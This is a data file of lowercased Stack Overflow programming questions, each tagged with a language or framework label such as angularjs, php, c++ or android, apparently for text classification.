milestone_name=a&amp;property_name=name%20a </code></pre>   almost everything works fine : the list of results is displayed  the  milestone  parameter is pre-selected with the correct value in the <code>select</code> component  but not the  property  parameter because it s not a string  it s an object.     how can i set the default value (ng-model) of the select component to an object       or any other idea on how i should do this,angularjs
inner join versus one table in mysql  i had split a table into two sub-tables just to make the <code>mysql</code> design simpler. now i have to use <code>inner join</code> to get the data from both the tables. please suggest me if i have millions of record in both the tables then which one is efficient      retrieving data from one big stand-alone table or using inner join in two sub-tables,mysql
array slicing in c++  i am trying to slice the last 4 characters off a character array and i tried the method that python uses without success;   <pre><code>char *charone = (char*)( i need the last four ) char *chartwo = charone[-4:]  cout &lt;&lt; chartwo &lt;&lt; endl; </code></pre>   i would want this code to return;   <pre><code>four </code></pre>   but c/c++ doesn t seem to be that easy...    where could i find a simple alternative that will return the last 4 chars of one char array into another char array,c++
trying to hide iphone status bar white space  i have a scroll-view with a uiimage on top the uiimage has its own view controller class and the scroll view is on the main root-controller. i added the hide status bar method to the root-controller but when i run the program the status bar disappears but leaves a white space and the view does not grow over the status bar white space. i tired other methods but i still get the same white space i also tried to enable scroll vertical and it looks like the status bar is on top of all my views  when i scroll up it keeps going up under the status bar.     what could be causing this,iphone
how to compare two arrays and see if they have anything in common(php)  i need to compare two arrays and pass variable values according to the result. i loop $additionaltestsavailable  if $additionaltestsselected has a value in $additionaltestsselected  passing  yes  to additionaltestsselected  else passing   . but the result are all   . it shouldn t like this. anything wrong with my code    <pre><code>$additionaltestsselected = $appointmenttime-&gt;getadditionaltestsselected(); $additionaltestsavailable = $appointmenttime-&gt;getadditionaltestsavailable();  foreach($additionaltestsavailable as $test) {      if(in_array($test $additionaltestsselected)){       $additionaltests[$test-&gt;getname()] =  yes ;     }else{       $additionaltests[$test-&gt;getname()] =   ;     } } </code></pre>,php
why should we have a suffix after a number in this case   given the following code  we can omit the <code>u</code> in the first line  the <code>l</code> in the second line  and the <code>ul</code> in the third line  and the values will be automatically converted to <code>uint</code>  <code>long</code> and <code>ulong</code>  respectively.    so why do we need the suffix (<code>u</code>  <code>l</code>  <code>ul</code>) in this case    <pre><code>uint uintnum = 7u; long longnum = 7l; ulong ulongnum = 7ul; </code></pre>,c#
angular: custom filter for recursive search in nested object  i have some problem with filtering nested object. in select i choose the filter parameter(object value) and in input i type some text that searches it in object key. <br> tried to write custom filter with recursion for deep search but it doesn t work. <code>input</code> is parameter for object in ng-repeat  <code>param1</code> is for select s ng-model and <code>param2</code> is for input s ng-model.    <br> <strong>js</strong>   <pre><code>  .filter( personfilter   function($filter) {     return function(input  param1  param2) {       var output = {};       for (var prop in input) {           if (typeof input[prop] ==  object  || prop != param1 &amp;&amp; input[prop] != param2) {               $filter( personfilter )(input[prop]);           } else {               output[key] = input[key];           }       }       return output;     } </code></pre>   <br> here s the plunker: <a href= http://plnkr.co/edit/83lpnrwfy6wa9u2fkmfh p=preview  rel= nofollow >http://plnkr.co/edit/83lpnrwfy6wa9u2fkmfh p=preview</a> <br> i hope someone give me some advice,angularjs
how to make a toolbar side up keyboard  i have a toolbar and made this code to learn how to put it above the keyboard when i open it however after doing this or the keyboard appears.   <pre><code>#import  viewcontroller.h   @interface viewcontroller ()  @property (weak  nonatomic) iboutlet uitextview *textfield; @property (weak  nonatomic) iboutlet uitoolbar *toolbar;   @end  @implementation viewcontroller  - (void)viewdidload {     [super viewdidload];     self.textfield.delegate = self;     self.toolbar.delegate = self;     self.textfield.inputaccessoryview = self.toolbar;      self.textfield.inputview = self.toolbar;     [self.toolbar removefromsuperview];     [self.textfield becomefirstresponder];  }  - (void)textviewdidbeginediting:(uitextview *)textview {       self.textfield.inputaccessoryview = self.toolbar; } </code></pre>,objective-c
c - read in float value using getchar and print out float using printf  i m extremely lost and confused.     i have to read in a float integer like 3.432 using getchar. then  i have to print it out again as a float with a precision of 4 decimal places using printf. so 3.432 --> 3.4320 and .450 --> .4500  and 453 --> 453.0000.     i ve been using getchar() and i understand that  but trying to reconvert the value as a float is where i m just extremely lost.    <pre><code> float num = 0.0;  char ch;  while((ch = getchar()) !=  \n ){       num = ch -  0 ;       printf( %.4f   num);  } </code></pre>   i know why that is wrong and what it outputs but that s what i have so far     edit: i can only use getchar to read the float values,c
how to write console output to file and console simutaneously  seems easy enough to <a href= https://www.geeksforgeeks.org/redirecting-system-out-println-output-to-a-file-in-java/  rel= nofollow noreferrer >write console output to file</a>  but doing so appears to hijack the output stream from the console. is there a way to write to the console and a file simultaneously,java
i get error in xcode 8.3 swift 3. error 200 is issue related to url.    http://www.w3.org/2001/xmlschema-instance  xmlns:xsd= <a href= http://www.w3.org/2001/xmlschema  rel= nofollow noreferrer >http://www.w3.org/2001/xmlschema</a>  xmlns:soap12= <a href= http://www.w3.org/2003/05/soap-envelope  rel= nofollow noreferrer >http://www.w3.org/2003/05/soap-envelope</a> >http://tempuri.org/ >slsl error 200 <a href= https://i.stack.imgur.com/dfm14.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/dfm14.jpg  alt= enter image description here ></a> <strong>i get  error in xcode 8.3 swift 3. error 200 is issue related to url.  </strong>,iphone
c++ checking if a node is a root in a binary tree  here s a generic algorithm to check the depth of a binary tree:   <pre><code>int maxdepth(treenode* root) {      if(root){           return 1 + max( maxdepth(root-&gt;left)  maxdepth(root-&gt;right));       } </code></pre>   how does the <code>if(root)</code> condition work     i am assuming it means <code>if(root = a value of type root)</code> but am unsure how to use it in other situations.,c++
how integers numbers are printed with %f specifier  <pre><code>#include&lt;stdio.h&gt; main() {    int a = 66;    printf( %f   a); } </code></pre>   it is printing <code>0.0000</code> as an answer  why     and <code>%f</code> is replaced with <code>%c</code> it is printing <code>b</code>. i am not getting the reason.       please explain !!,c
showing image in select element  for example:   <pre><code>&lt;code&gt; &lt;select&gt; &lt;option&gt;1&lt;/option&gt; &lt;option&gt;2&lt;/option&gt; &lt;option&gt;3&lt;/option&gt; &lt;/select&gt; &lt;/code&gt; </code></pre>   i want to use some image in place of 1  2 or 3. but looks like it is not working. you geek people  help me out of this  how can i do that  is there any alternative solution you can provide     thanks,html
where can i find a  requires .net 3.5  logo   i once found a web site that had some  requires .net 1.0    requires .net 2.0  logos for use on web sites etc  does anyone know the name of the site or where i can get something similar     thanks,.net
angular controllers is not a function  just for learning purpose--    index.html   <pre><code>&lt;html&gt;     &lt;head&gt;       &lt;script src= http://cdnjs.cloudflare.com/ajax/libs/angular.js/1.3.3/angular.min.js &gt;&lt;/script&gt;       &lt;script src= script.js &gt;&lt;/script&gt;       &lt;script src= ctrl.js &gt;&lt;/script&gt;     &lt;/head&gt;      &lt;body ng-app= abc &gt;       &lt;h1 ng-controller= ctrl &gt;{{data}}&lt;/h1&gt;     &lt;/body&gt;      &lt;/html&gt; </code></pre>   script.js   <pre><code>angular.module( abc   []); </code></pre>   ctrl.js   <pre><code>angular.module( abc ).controller( ctrl  function($scope){   $scope.data= hello ; }); </code></pre>   <a href= http://plnkr.co/edit/mdulb2xmzmc6wtdwttuj p=preview  rel= nofollow >js fiddle link</a> it showing error... what i ve done wrong here,angularjs
java.lang.verifyerror in 2.2.2 but not 2.3.3  i am building for minsdk 8 and targetsdk 11.   <pre><code>&lt;uses-sdk android:minsdkversion= 8            android:targetsdkversion= 11 /&gt; </code></pre>   i get this in logcat:   <pre><code>warn/dalvikvm(2114): vfy:  rejected lcom/examplecompany/project/tidalstreams/data/gtidalstreamshourlyhw;.&lt;clinit&gt; ()v  warn/dalvikvm(2114): verifier rejected class lcom/digitaliridium/tides/tidalstreams/data/gtidalstreamshourlyhw; </code></pre>   i have two desires  amongst several other devices; one running 2.2.2 and one running 2.3.3.    on 2.2.2  i get a <code>java.lang.verifyerror</code> at this line:   <pre><code>public void oncreate(){     ...      gtidalstreamshourlyhw.init();      ... } </code></pre>   here s the the <code>init()</code> method.  it s the only method of a very ordinary class.   <pre><code>public static void init(){       int insertposition;     system.arraycopy(gtidalstreamhourlyhw1  0   gtidalstreamhourlyhw  0  gtidalstreamhourlyhw1.length);      insertposition = gtidalstreamhourlyhw1.length;     system.arraycopy(gtidalstreamshourlyhw2.gtidalstreamhourlyhw1  0   gtidalstreamhourlyhw  insertposition  gtidalstreamshourlyhw2.gtidalstreamhourlyhw1.length);      insertposition += gtidalstreamshourlyhw2.gtidalstreamhourlyhw1.length;     system.arraycopy(gtidalstreamshourlyhw3.gtidalstreamhourlyhw1  0   gtidalstreamhourlyhw  insertposition  gtidalstreamshourlyhw3.gtidalstreamhourlyhw1.length);      ... </code></pre>   <code>gtidalstreamshourlyhw</code> is a large array of data  approx 350k.  i have had to split it into multiple files to get around java s 64k compilation unit limit.    the <code>init</code> method simply uses system.arraycopy() to concatenate these multiple static arrays into one.    i ve tried dropping the minsdk level to 7 but the problem is the same.    it also fails in an emulator running 2.2.2.,android
is there any compilation of c terminology available on net   is there any compilation of c terminology available on net   i feel it many times difficult to explain in exact technical terms what i wish to say.,c
confused by chain enumeration  i wanted to gather all of the header files in a list of subdirectories. however  if i do   <pre><code>from glob import glob from itertools import chain  subdirs = [ freertos    twig ] for each in chain(glob(eachdir+ /*.h ) for eachdir in subdirs):   print each </code></pre>   what i get is   <pre><code>[ freertos/croutine.h    freertos/freertos.h    freertos/freertosconfig.h    freertos/list.h    freertos/mpu_wrappers.h    freertos/portable.h    freertos/portmacro.h    freertos/projdefs.h    freertos/queue.h    freertos/semphr.h    freertos/stackmacros.h    freertos/task.h    freertos/timers.h ] [ twig/twig.h ] </code></pre>   but what i wanted to see was   <pre><code> freertos/croutine.h   freertos/freertos.h   freertos/freertosconfig.h   freertos/list.h   freertos/mpu_wrappers.h   freertos/portable.h   freertos/portmacro.h   freertos/projdefs.h   freertos/queue.h   freertos/semphr.h   freertos/stackmacros.h   freertos/task.h   freertos/timers.h   twig/twig.h  </code></pre>   i thought that was what the chain() would do for me. what am i missing,python
select only selected check_boxes using check_box_tag in rails   i have a <code>each</code> loop which creates a set of checkboxes.    controller code is    <pre><code>  def new     @foo = foo.new     @books = book.all   end    def edit     @foo = foo.find(params[:id])     @books = book.all   end </code></pre>   erb file looks like the following:    <pre><code>&lt;div&gt;   &lt;% @books.each do |book| %&gt;     &lt;%= check_box_tag  books[]   book.id  (checked = true if @books.collect{|b| b.id}.include (book.id)) %&gt;     &lt;%= book.name %&gt;&lt;br /&gt;   &lt;% end %&gt; &lt;/div&gt; </code></pre>   here am trying to show only the selected check_box values when i edit my page. but in my case it selecting all values even some of the checkboxes are unselected. so how to select only a checked values using check_box_tag in rails,ruby-on-rails
java command in cmd how to set default directory  i am running java program from cmd like this <code>java main</code>. but before that  i have to get to the route directory using <code>cd ...</code>  because my main class is reding values from property file  which is in root directory. is there a way or an option of setting the root directory  so then i will no need to get to this directory with <code>cd</code> commands,java
using prismjs in an angular directive  i m trying to use the <a href= http://prismjs.com/  rel= nofollow noreferrer >prismjs</a>  in my angular app    on the left you see what i m getting  on the right you have the expected result <a href= https://i.stack.imgur.com/ur8hn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ur8hn.png  alt= screenshot ></a>    below you can see the code that i m using for it. here is the directive i m using:   <pre><code>(function () {      use strict ;      function prism() {         return {             restrict:  a               link: function($scope  element  attrs) {                 element.ready(function () {                     prism.highlightelement(element[0].queryselector( code ));                 });             }         };     }      angular.module( app.directives ).directive( prism   prism);  })(); </code></pre>   anyone any idea what i might be doing wrong,angularjs
text not aligning center  left  good day    i am having a bad css day. i have 3-column div (horizontal  thats why i am using the float)  but i want to align my text in the center  but to the left of the containing column div.    html:   <pre><code> &lt;div id= footer &gt;         &lt;div class= footercolumn &gt;             &lt;ul&gt;                 &lt;li&gt;&lt;a&gt;contact us&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a&gt;home&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a&gt;emergency numbers&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;         &lt;div class= footercolumn &gt;             &lt;ul&gt;                 &lt;li&gt;&lt;a&gt;support&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a&gt;privacy policy&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a&gt;terms of use&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a&gt;careers&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;         &lt;div class= footercolumn &gt;             &lt;ul&gt;                 &lt;li&gt;&lt;p&gt;&lt;a&gt;login&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a&gt;sign up&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;         &lt;div style= clear: both; &gt;&lt;/div&gt;   &lt;/div&gt; </code></pre>   css:   <pre><code>#footer {     width: 960px;     margin: 0 auto;     padding: 10px;     background: url( /images/bg2.png ) repeat-x center;      border-top: 6px solid #f3911f;     background: #1b1d21; }     #footer div.footercolumn {         position: relative;         float: left;         width: 33%;         margin: 0 auto;         text-align: justify;     }     #footer div.footercolumn ul li {      }     #footer ul li a{         color: #fff;                    font-family: arial  sans-serif;         font-size: 14px;         text-decoration: none;         cursor: pointer;            }     #footer div.disclaimer {         color: #ccc;         font-family: verdana  arial  sans-serif;         font-size: 12px;      } </code></pre>   see my <a href= http://jsfiddle.net/dvxzb/46/  rel= nofollow >fiddle</a>    thank you,css
multiline label with different font styles and ibactions  a perfect example of what i am trying to do is the instagram comments.    suppose we have a user and a list of text (the comment). i want my <code>uiview</code> to have the username in some font style and clickable along with text next to it and wrapping around to the next line (which is not clickable).     it might be easier to understand if you just look at this:     <img src= https://i.stack.imgur.com/damz8.jpg  alt= instagram image >    notice how the username is clickable and separated from the text  but the text wraps around to the next line. how can i do this,ios
changing opengl vertex values  i want change vertex values in opengl and i have found a way to change it but threre is a wrong   the program draw a triangle and when i change vertex values in runtime i see rectangle   what is wrong        the code   <pre><code>#include  stdafx.h  #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;glut.h&gt; void datasource(); void showobject(); void cont();  void inti(int argcp char **argv) { glutinit(&amp;argcp argv); glutinitwindowsize(500 500); glutinitdisplaymode(glut_depth | glut_double | glut_rgba); glutcreatewindow( square ); glclearcolor(0.0 0.0 0.0 0.0);   glutdisplayfunc(showobject); glutidlefunc(cont); }   int main(int argcp char **argv)  { inti(argcp argv); datasource(0.1); glutmainloop(); return 0;  }  void datasource(float adding)  { glfloat triangle1[]={(-0.9+adding) 0.3+adding (-0.9+adding) 0.8+adding       (-0.4+adding) 0.8+adding   -0.9 0.3 -0.4 0.8 -0.4 0.3};     glenableclientstate(gl_vertex_array);  glvertexpointer(2 gl_float 0 triangle1);   }  void showobject() {   glclear(gl_color_buffer_bit|gl_depth_buffer_bit);      gldrawarrays(gl_triangles 0 3);  glutpostredisplay(); glutswapbuffers();      }      void cont()       { glutpostredisplay();      } </code></pre>,c++
difference between except: and except exception:  is there any difference between <code>except:</code> and <code>except exception:</code>      can <code>except</code> deal with anything that is not an exception,python
best mysql field setup to have a  couples  member profile data saving  couple database profile entry  which would be the best way to save data. also the data will be retrieved via php coding and if it could be down with one query code that would be ideal.   <ol> <li> within the site_member table create multiple field for each field... ex: m_firstname1  m_firstname2  m_age1  m_age2  etc... </li> <li> store the couple member data in one field each... and separate with a comma in the data field ex: m_firstname (mike  sherry) </li> <li> create a separate table site_member_c duplicating the same fields that are in site_member table. this is roughly about 10 fields  </li> </ol>,mysql
what is the paddingbottom dimension   i am writing am app in android studio and i found somewhere like this in the xml files under layout.   <pre><code>android:paddingbottom= dimension(1025) </code></pre>   can someone tell me what is this,android
better string ellipse implementation  i want to ellipse string if length exceeds a certain limit. i have seen many examples for ellipse from a simple one that only take substring if a limit exceeds to other consider taking full words so that it won t break sentence readability and not to trim words in half.     mobile phone use to trim text based on the second approach. i wanted to know if there any way we can go further with string ellipse implementation  like consider <code> </code> <code>( )</code> <code>[ ]</code> etc     this is what i have done so far   <pre><code>public static string trimstring(string str  int charlength)         {             if (str.length &gt;= charlength)             {                 str = str.substring(0  charlength - 3);                 var chunks = str.split(   );                 if(chunks.length &gt;1)                     chunks = chunks.take(chunks.length - 1).toarray();                 str = string.format( {0}...   string.join(     chunks));             }             return str;         } </code></pre>   regards.,.net
why the page  refresh a time  <pre><code>&lt;form method= get   action= /  onsubmit= submitform() &gt; &lt;input type= text  title=   value=   name= q  class= search-input  id= gsearch  /&gt; &lt;input type= submit  value=   name= sa  id= search-button /&gt; &lt;/form&gt; &lt;script type= text/javascript &gt; function submitform(){ window.open( http://test.com/gsearch.php cx=015214977:8tebxhu0mrk&amp;cof=forid:11&amp;ie=gb2312&amp;as_q= +document.getelementbyid( gsearch ).value); return false; }  &lt;/script&gt; </code></pre>   when i submit the button  the original page refresh a time. how to prevent it  thank you.,javascript
.net connectionmanagement not working  i have set following setting  but still my web service accept only 2 request at a time..   <pre><code>&lt;configuration&gt;   &lt;system.net&gt;     &lt;connectionmanagement&gt;          &lt;add address =  *  maxconnection =  200  /&gt;     &lt;/connectionmanagement&gt;   &lt;/system.net&gt; &lt;/configuration&gt;`enter code here </code></pre>,.net
how to keep words on a single line  how can i keep this two words on a single line:   <pre><code>&lt;div align=right&gt;hai&lt;/div&gt;  &lt;div align=center&gt;hello&lt;/div&gt; </code></pre>   i have already tried it but i didn t get any satisfactory preview.,html
changing timepicker title permanently to what you want   i set title using    <pre><code>timepicker.settitle( sdsd );  </code></pre>   but when i change the time in the timepicker the title changes to that time and get rid of my title how do i keep my title permanently on the time picker,android
how to create class library package in dotnet core on non windows machines   i m running dotnet core on ubuntu 14.04. i m new to both linux and dotnet core. vscode can t create a project  it creates only an empty file (since it is an editor and not an ide like vs).  dotnet new  creates a simple console app template. yeoman is outdated (they are doing their best but looking at that there is major shift in how asp.net core works  it ll take them  few months to create templates) i want to create class library and include it in my project. i googled and found no documentation as how to create it.    environment data:    dotnet version output :   <pre><code>.net command line tools (1.0.0-beta-001675)  product information:  version:     1.0.0-beta-001675  commit sha:  n/a  runtime environment:  os name:     ubuntu  os version:  14.04  os platform: linux  runtime id:  ubuntu.14.04-x64 </code></pre>   vscode version 0.10.8 and 0.10.10.    thanks in advance.,.net
ios: is it possible to access stored data (say images) from the safari browser  my it dept. has a web app built with java and they want to be able to access the stored images on an ipad. is that possible,ios
project euler #6 c++  the sum of the squares of the first ten natural numbers is    <pre><code>1² + 2²+ ... + 10² = 385 </code></pre>   the square of the sum of the first ten natural numbers is    <pre><code>(1 + 2 + ... + 10)² = 55² = 3025 </code></pre>   hence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is <code>3025 − 385 = 2640</code>.    find the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum.    **they say my answer is wrong :( **   <pre><code>//project eueler problem 6  #include &lt;iostream&gt; #include &lt;cmath&gt; using namespace std;  unsigned int sum(int); unsigned int sqsum(int);  int main() {     cout &lt;&lt; sqsum(100) - pow(sum(100)   2); }   unsigned int sum(int n) // function for finding sum of n numbers {     return (n*(n+1))/2; }  unsigned int sqsum(int n) // function for finding sum of squares {      return ((n)*(n+1)*(2*n +1 ))/6 ; } </code></pre>,c++
i need to add a new column in the table in sql  i have a table with below data   <pre><code>account name tripdate  123     sam  02/20/13  234     sim  02/20/14 </code></pre>   my query is    <pre><code>select *    (case      when (datename(dw  [tripdate]) = sunday ) then 1     else 0 end) as [sunday]   (case      when (datename(dw  [tripdate]) = monday ) then 1     else 0 end) as [monday]   (case      when (datename(dw  [tripdate]) = tuesday ) then 1     else 0 end) as [tuesday]   (case      when (datename(dw  [starting date of trip]) = wednesday ) then 1     else 0 end) as [wednesday]   (case      when (datename(dw  [starting date of trip]) = thursday ) then 1     else 0 end) as [thursday]   (case      when (datename(dw  [tripdate]) = friday ) then 1     else 0 end) as [friday]   (case      when (datename(dw  [tripdate]) = saturday ) then 1     else 0 end) as [saturday] from [table]   group by [ account] </code></pre>   and the output is   <pre><code>account name tripdate sunday monday tuesday  dayname  123     sam  02/20/13  1       0       0     sunday  234     sim  02/20/14  0       0       1     tuesday </code></pre>   now i need help in getting the last column dayname.,sql
typeerror:  a  object is not callable  what is happening here      what do the brackets do here <code>test2 = a()</code>     how can i make object a() callable.   <pre><code>class a(object):     @property     def a(self):          an important attribute          return [ a value   dsfsdfsd ]  test1 = a  test2 = a()   print test1().a                                  print test2().a       </code></pre>,python
setbackgrounddrawable with another view s background drawable selector breaks the selector states  if i set a drawable object from button.getbackground() on a button with a selector drawable and then call set setbackgrounddrawable on another button with that same drawable the selector states don t work.     example:   <pre><code>//layout is inflated from xml  //buttona object ref set from view //buttonb object ref set from view  drawablea = buttona.getbackground(); drawableb = buttonb.getbackground(); </code></pre>   now calling <code>buttona.setbackgrounddrawable(drawableb)</code> will result in buttona not animating correctly in the different selector states.     am i doing something wrong  i tried calling getconstantstate().newdrawable(getresources()).mutate() to make something like a copy of the drawable in case the state was bound to the original button but that didn t seem to help.,android
how i can fix the undefined variable  i get this error notice: undefined index: pharmacy.name in c:\xampp\htdocs\rau\courses.php on line 17   notice: undefined index: delivery.phone in c:\xampp\htdocs\rau\courses.php on line 19   notice: undefined index: delivery.address in c:\xampp\htdocs\rau\courses.php on line 21   <pre><code> &lt;link rel= stylesheet  href= style1.css &gt;     &lt; php       $servername =  localhost ;         $userrname =  root ;         $password =   ;         $dbname =  bless ;         $conn = new mysqli($servername  $userrname  $password  $dbname);         if ($conn-&gt;connect_error) {             die( connection failed:   . $conn-&gt;connect_error);         }     $sqlq= select pharmacy.name delivery.phone delivery.address from delivery inner join pharmacy on delivery.pharmacy_id = pharmacy._id ;     $rslt=$conn-&gt;query($sqlq) ;     $roww = $rslt-&gt;fetch_assoc();      echo  &lt;br&gt; ;     echo  &lt;br&gt; ;     echo  &lt;td&gt;  . $roww[ pharmacy.name ] ;     echo  &lt;br&gt; ;         echo &lt;td&gt; . $roww[ delivery.phone ];     echo  &lt;br&gt; ;         echo &lt;td&gt; . $roww[ delivery.address ];     echo  &lt;br&gt; ;      &gt; </code></pre>,php
how to set position second form depend on first form   i have form1 and form2 and a button in my project. when i click button form2 will show. what is the command to set position of form2 at center of form1,c#
termination due to memory error from debugger on adding label to scrollview in iphone5s  my app hangs and i won t be able to perform any action when i add a label programmatically to my scrollview which is created by using auto layout in xib .after some seconds the app terminates with a memory warning saying  message from debugger terminated due to memory error    <pre><code>- (void)viewdidload {    _hosstartdatelbl = [[uilabel alloc] init]; }  -(ibaction)hosswitchselected:(id)sender {      if([sender ison])     {        _hosstartdatelbl.frame = cgrectmake(_birthlbl.frame.origin.x  _birthlbl.frame.origin.y+_birthlbl.frame.size.height+15   [_hosstartdatelbl.text sizewithfont:_hosstartdatelbl.font].width  17);//birthlbl is created using xib         [_hosstartdatelbl sizetofit];         [self.scroll addsubview:_hosstartdatelbl];         scroll.contentsize = cgsizemake(scroll.frame.size.width  _hosstartdatelbl.frame.origin.y+_hosstartdatelbl.frame.size.height+160);     } } </code></pre>,ios
angularjs - basic app example not working  and how to debug angular  i m following an example where i can make the first part example work  but then making a small change to restructure it by adding a application doesn t work (but should do the same thing) -- very basic example.  can you please help me understand     1) what s wrong with the code  and    2) how to debug this kind of thing    i m including angular.min.js version 1.2.6   <h2>example that works</h2>  <pre><code>&lt;!doctype html&gt; &lt;html ng-app=  &gt; &lt;head&gt;    &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body &gt;     &lt;div ng-controller= simplecontroller &gt;         &lt;input type= text  ng-model= nametext  /&gt; &lt;span style= font-weight:bold &gt; {{ nametext }}&lt;/span&gt;         &lt;h3&gt;listing1&lt;/h3&gt;             &lt;ul&gt;                 &lt;li ng-repeat= cust in customers | filter: nametext | orderby:  city   &gt;{{ cust.name | uppercase }} - {{ cust.city }} &lt;/li&gt;             &lt;/ul&gt;     &lt;/div&gt;     &lt;script&gt;        function simplecontroller($scope) {            $scope.customers = [                { name:  dave jones   city:  phoenix }                 { name:  jamie riley   city:  atlanta }                 { name:  heedy wahlin   city:  chandler }                 { name:  thomas winter   city:  seattle }            ];        }     &lt;/script&gt;     &lt;script src= libraries/angular.min.js &gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>  <h2>similar example that doesn t work</h2>  <pre><code>&lt;!doctype html&gt; &lt;html &gt; &lt;head ng-app= demoapp &gt;     &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt;     &lt;div ng-controller= simplecontroller &gt;         &lt;input type= text  ng-model= nametext  /&gt; &lt;span style= font-weight:bold &gt; {{ nametext }}&lt;/span&gt;         &lt;h3&gt;listing1&lt;/h3&gt;             &lt;ul&gt;                 &lt;li ng-repeat= cust in customers | filter: nametext | orderby:  city   &gt;{{ cust.name | uppercase }} - {{ cust.city }} &lt;/li&gt;             &lt;/ul&gt;     &lt;/div&gt;     &lt;script&gt;        var demoapp = angular.module( demoapp   []);         function simplecontroller($scope) {            $scope.customers = [                { name:  dave jones   city:  phoenix }                 { name:  jamie riley   city:  atlanta }                 { name:  heedy wahlin   city:  chandler }                 { name:  thomas winter   city:  seattle }            ];        }         demoapp.controller( simplecontroller   simplecontroller);      &lt;/script&gt;     &lt;script src= libraries/angular.min.js &gt;&lt;/script&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>,angularjs
error calling a interface method in php  hey guys i have this sample code and i want to call the method like this code:   <pre><code>&lt; php interface item{     function getres(); }  class weapon implements item{     public function getres(){         echo  res ;     } }  abstract class player implements item{      public function defend(){            $this-&gt;item-&gt;weapon-&gt;getres();      } }  &gt; </code></pre>   i know this doesn t work but how is the best way to do this call.,php
initializing inflate state <pre><code>class iconicadapter extends arrayadapter&lt;string&gt; {     activity context=new activity();      iconicadapter(activity context) {         super(context  r.layout.topic_list_row  itemlist);         this.context = context;         layoutinflater inflater = context.getlayoutinflater();     } </code></pre>  <hr>  <pre><code>public view getview(int position  view convertview  viewgroup parent) {     //  view row = convertview;         viewholder holder = null;                  layoutinflater inflater = null;          if (convertview == null) {                     convertview = inflater.inflate(r.layout.topic_list_row  null);               holder = new viewholder();              holder.textview = (textview)convertview.findviewbyid(r.id.label);              convertview.settag(holder);          } else {              holder = (viewholder)convertview.gettag();          }              typeface face=typeface.createfromasset(getassets()   ms-i034.ttf );              holder.textview.settypeface(face);              holder.textview.settext(getmodel(position));          return convertview;     } </code></pre>   error:   <pre><code>05-02 11:29:53.010: error/androidruntime(1043): fatal exception: main 05-02 11:29:53.010: error/androidruntime(1043): java.lang.nullpointerexception 05-02 11:29:53.010: error/androidruntime(1043):     at com.webrich.bachflower.topics$iconicadapter.getview(topics.java:113) 05-02 11:29:53.010: error/androidruntime(1043):     at android.widget.abslistview.obtainview(abslistview.java:1430) 05-02 11:29:53.010: error/androidruntime(1043):     at android.widget.listview.measureheightofchildren(listview.java:1216) 05-02 11:29:53.010: error/androidruntime(1043):     at android.widget.listview.onmeasure(listview.java:1127) 05-02 11:29:53.010: error/androidruntime(1043):     at android.view.view.measure(view.java:8313) 05-02 11:29:53.010: error/androidruntime(1043):     at android.widget.relativelayout.measurechildhorizontal(relativelayout.java:581) 05-02 11:29:53.010: error/androidruntime(1043):     at android.widget.relativelayout.onmeasure(relativelayout.java:365) 05-02 11:29:53.010: error/androidruntime(1043):     at android.view.view.measure(view.java:8313) 05-02 11:29:53.010: error/androidruntime(1043):     at android.view.viewgroup.measurechildwithmargins(viewgroup.java:3138) 05-02 11:29:53.010: error/androidruntime(1043):     at android.widget.framelayout.onmeasure(framelayout.java:250) 05-02 11:29:53.010: error/androidruntime(1043):     at android.view.view.measure(view.java:8313) 05-02 11:29:53.010: error/androidruntime(1043):     at android.widget.linearlayout.measurevertical(linearlayout.java:531) 05-02 11:29:53.010: error/androidruntime(1043):     at android.widget.linearlayout.onmeasure(linearlayout.java:309) 05-02 11:29:53.010: error/androidruntime(1043):     at android.view.view.measure(view.java:8313) 05-02 11:29:53.010: error/androidruntime(1043):     at android.view.viewgroup.measurechildwithmargins(viewgroup.java:3138) 05-02 11:29:53.010: error/androidruntime(1043):     at android.widget.framelayout.onmeasure(framelayout.java:250) 05-02 11:29:53.010: error/androidruntime(1043):     at android.view.view.measure(view.java:8313) 05-02 11:29:53.010: error/androidruntime(1043):     at android.view.viewroot.performtraversals(viewroot.java:839) 05-02 11:29:53.010: error/androidruntime(1043):     at android.view.viewroot.handlemessage(viewroot.java:1859) 05-02 11:29:53.010: error/androidruntime(1043):     at android.os.handler.dispatchmessage(handler.java:99) 05-02 11:29:53.010: error/androidruntime(1043):     at android.os.looper.loop(looper.java:123) 05-02 11:29:53.010: error/androidruntime(1043):     at android.app.activitythread.main(activitythread.java:3683) 05-02 11:29:53.010: error/androidruntime(1043):     at java.lang.reflect.method.invokenative(native method) 05-02 11:29:53.010: error/androidruntime(1043):     at java.lang.reflect.method.invoke(method.java:507) 05-02 11:29:53.010: error/androidruntime(1043):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:839) 05-02 11:29:53.010: error/androidruntime(1043):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:597) 05-02 11:29:53.010: error/androidruntime(1043):     at dalvik.system.nativestart.main(native method) </code></pre>,android
how to compute object properties in object literal based on other properties  i m doing to subtract inside the json is this possible    <pre><code> @employees = [ {    name :  fullname1     vl :  vacation leave      vl_days :  15.0      sl :  sick leave      sl_days :  10.0      bday :  birthday      b_day : 1.0      credit_vl : 12.0      use_vl :  vl_days - credit_vl  } </code></pre>,javascript
